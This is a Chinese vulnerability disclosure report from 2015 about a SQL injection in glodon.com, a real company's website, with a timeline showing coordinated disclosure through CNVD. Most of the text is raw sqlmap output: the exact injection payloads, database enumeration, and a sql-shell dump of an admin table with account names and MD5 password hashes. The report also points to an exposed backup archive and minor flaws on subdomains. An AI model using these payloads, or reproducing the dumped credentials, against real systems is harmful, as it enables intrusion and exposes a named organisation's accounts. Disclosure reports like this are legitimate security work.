2015-07-25: 细节已通知厂商并且等待厂商处理中 2015-07-29: 厂商已经确认,细节仅向厂商公开 2015-08-08: 细节向核心白帽子及相关领域专家公开 2015-08-18: 细节向普通白帽子公开 2015-08-28: 细节向实习白帽子公开 2015-09-12: 细节向公众公开
mssql注入,没什么权限,MD5解不开
首先 http://glodon.com/bin.rar这里有一个备份下载,里面有Tc.Web.dll.config数据库链接文件http://glodon.com/p/info_childcompany.aspx?n=subsidiary 注入
back-end DBMS: Microsoft SQL Server 2008[18:44:23] [INFO] fetched data logged to text files under 'E:\Sqlmap_win\Bin\output\glodon.com'[*] shutting down at 18:44:23C:\Users\Administrator.WIN7U-20150616P>sqlmap -u http://glodon.com/p/info_childcompany.aspx?n=subsidiary --dbs sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 18:44:52[18:44:52] [INFO] resuming back-end DBMS 'microsoft sql server'[18:44:52] [INFO] testing connection to the target URLsqlmap got a 302 redirect to 'http://www.glodon.com/en/'. Do you want to follow? [Y/n] ysqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: n Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: n=subsidiary' AND 6260=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR(115)+CHAR(109)+CHAR(113)+(SELECT (CASE WHEN (6260=6260) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(105)+CHAR(118)+CHAR(104)+CHAR(113))) AND 'jSxf'='jSxf Type: UNION query Title: Generic UNION query (NULL) - 8 columns Payload: n=subsidiary' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(115)+CHAR(115)+CHAR(109)+CHAR(113)+CHAR(118)+CHAR(99)+CHAR(86)+CHAR(115)+CHAR(105)+CHAR(70)+CHAR(111)+CHAR(111)+CHAR(100)+CHAR(103)+CHAR(113)+CHAR(105)+CHAR(118)+CHAR(104)+CHAR(113),NULL-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: n=subsidiary'; WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: n=subsidiary' WAITFOR DELAY '0:0:5'-----[18:45:05] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windowsweb application technology: ASP.NET 4.0.30319, ASP.NETback-end DBMS: Microsoft SQL Server 2008[18:45:05] [INFO] fetching database names[18:45:05] [INFO] the SQL query used returns 4 entries[18:45:05] [INFO] resumed: "db_menhu_en_glodon_com","db_menhu_en_glodon_com",...[18:45:05] [INFO] resumed: "db_menhu_glodon_com","db_menhu_glodon_com","db_me...[18:45:05] [INFO] resumed: "master","master","master","master","master"[18:45:05] [INFO] resumed: "tempdb","tempdb","tempdb","tempdb","tempdb"available databases [4]:[*] db_menhu_en_glodon_com[*] db_menhu_glodon_com[*] master[*] tempdb[18:45:05] [INFO] fetched data logged to text files under 'E:\Sqlmap_win\Bin\output\glodon.com'[*] shutting down at 18:45:05C:\Users\Administrator.WIN7U-20150616P>sqlmap -u http://glodon.com/p/info_childcompany.aspx?n=subsidiary --sql-shell sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 18:45:33[18:45:33] [INFO] resuming back-end DBMS 'microsoft sql server'[18:45:33] [INFO] testing connection to the target URLsqlmap got a 302 redirect to 'http://www.glodon.com/en/'. Do you want to follow? [Y/n] ysqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: n Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: n=subsidiary' AND 6260=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR(115)+CHAR(109)+CHAR(113)+(SELECT (CASE WHEN (6260=6260) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(105)+CHAR(118)+CHAR(104)+CHAR(113))) AND 'jSxf'='jSxf Type: UNION query Title: Generic UNION query (NULL) - 8 columns Payload: n=subsidiary' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(115)+CHAR(115)+CHAR(109)+CHAR(113)+CHAR(118)+CHAR(99)+CHAR(86)+CHAR(115)+CHAR(105)+CHAR(70)+CHAR(111)+CHAR(111)+CHAR(100)+CHAR(103)+CHAR(113)+CHAR(105)+CHAR(118)+CHAR(104)+CHAR(113),NULL-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: n=subsidiary'; WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: n=subsidiary' WAITFOR DELAY '0:0:5'-----[18:45:43] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windowsweb application technology: ASP.NET 4.0.30319, ASP.NETback-end DBMS: Microsoft SQL Server 2008[18:45:43] [INFO] calling Microsoft SQL Server shell. To quit type 'x' or 'q' and press ENTERsql-shell> select * from Tcadmin[18:46:03] [INFO] fetching SQL SELECT statement query output: 'select * from Tcadmin'[18:46:03] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself[18:46:03] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns[18:46:03] [INFO] fetching current database[18:46:04] [INFO] fetching columns for table 'Tcadmin' in database 'db_menhu_glodon_com'[18:46:04] [INFO] the SQL query used returns 8 entries[18:46:04] [INFO] resumed: "DomainAccount","nvarchar","DomainAccount","nvarch...[18:46:04] [INFO] resumed: "ID","int","ID","int","ID","int","ID","int","ID","...[18:46:04] [INFO] resumed: "Name","varchar","Name","varchar","Name","varchar"...[18:46:04] [INFO] resumed: "Pid","int","Pid","int","Pid","int","Pid","int","P...[18:46:04] [INFO] resumed: "Pwd","varchar","Pwd","varchar","Pwd","varchar","P...[18:46:04] [INFO] resumed: "RealName","nvarchar","RealName","nvarchar","RealN...[18:46:04] [INFO] resumed: "Remark","nvarchar","Remark","nvarchar","Remark","...[18:46:04] [INFO] resumed: "Role","int","Role","int","Role","int","Role","int...[18:46:04] [INFO] the query with expanded column name(s) is: SELECT DomainAccount, ID, Name, Pid, Pwd, RealName, Remark, Role FROM Tcadmin[18:46:04] [INFO] the SQL query used returns 9 entries[18:46:04] [INFO] resumed: "a","6","a","1","C00F92FAD33BDEE6524183293AC0E51C"...[18:46:04] [INFO] resumed: "admin","2","admin","3","C00F92FAD33BDEE6524183293...[18:46:04] [INFO] resumed: "b","7","b","1","C00F92FAD33BDEE6524183293AC0E51C"...[18:46:04] [INFO] resumed: "c","8","c","1","C00F92FAD33BDEE6524183293AC0E51C"...[18:46:04] [INFO] resumed: "d","9","d","1","C00F92FAD33BDEE6524183293AC0E51C"...[18:46:04] [INFO] resumed: "fabu","4","fabu","1","C00F92FAD33BDEE6524183293AC...[18:46:04] [INFO] resumed: "licaix","12","licaix","2","C00F92FAD33BDEE6524183...[18:46:04] [INFO] resumed: "yiji","1","yiji","2","C00F92FAD33BDEE6524183293AC...[18:46:04] [INFO] resumed: "zhangzong","3","xitong","2","C00F92FAD33BDEE65241...select * from Tcadmin [45]:[*] fabu, 4, fabu, 1, C00F92FAD33BDEE6524183293AC0E51C, ?????, , 1074[*] licaix, 12, licaix, 2, C00F92FAD33BDEE6524183293AC0E51C, ???, , 1074[*] yiji, 1, yiji, 2, C00F92FAD33BDEE6524183293AC0E51C, ??, , 1073[*] zhangzong, 3, xitong, 2, C00F92FAD33BDEE6524183293AC0E51C, ??, , 1071。。。sql-shell>
送几个分站小漏洞:1,目录遍历 http://static.glodon.com/static/ 2,爆物理路径 http://gldfh.glodon.com/wx/3,http://gldfh.glodon.com/i.php
[*] fabu, 4, fabu, 1, C00F92FAD33BDEE6524183293AC0E51C, ?????, , 1074[*] licaix, 12, licaix, 2, C00F92FAD33BDEE6524183293AC0E51C, ???, , 1074[*] yiji, 1, yiji, 2, C00F92FAD33BDEE6524183293AC0E51C, ??, , 1073[*] zhangzong, 3, xitong, 2, C00F92FAD33BDEE6524183293AC0E51C, ??, , 1071
我不会啊
危害等级:中
漏洞Rank:7
确认时间:2015-07-29 15:42
CNVD确认并复现所述情况,已由CNVD通过软件生产厂商(或网站管理方)公开联系渠道向其邮件(和电话)通报,由其后续提供解决方案并协调相关用户单位处置。
暂无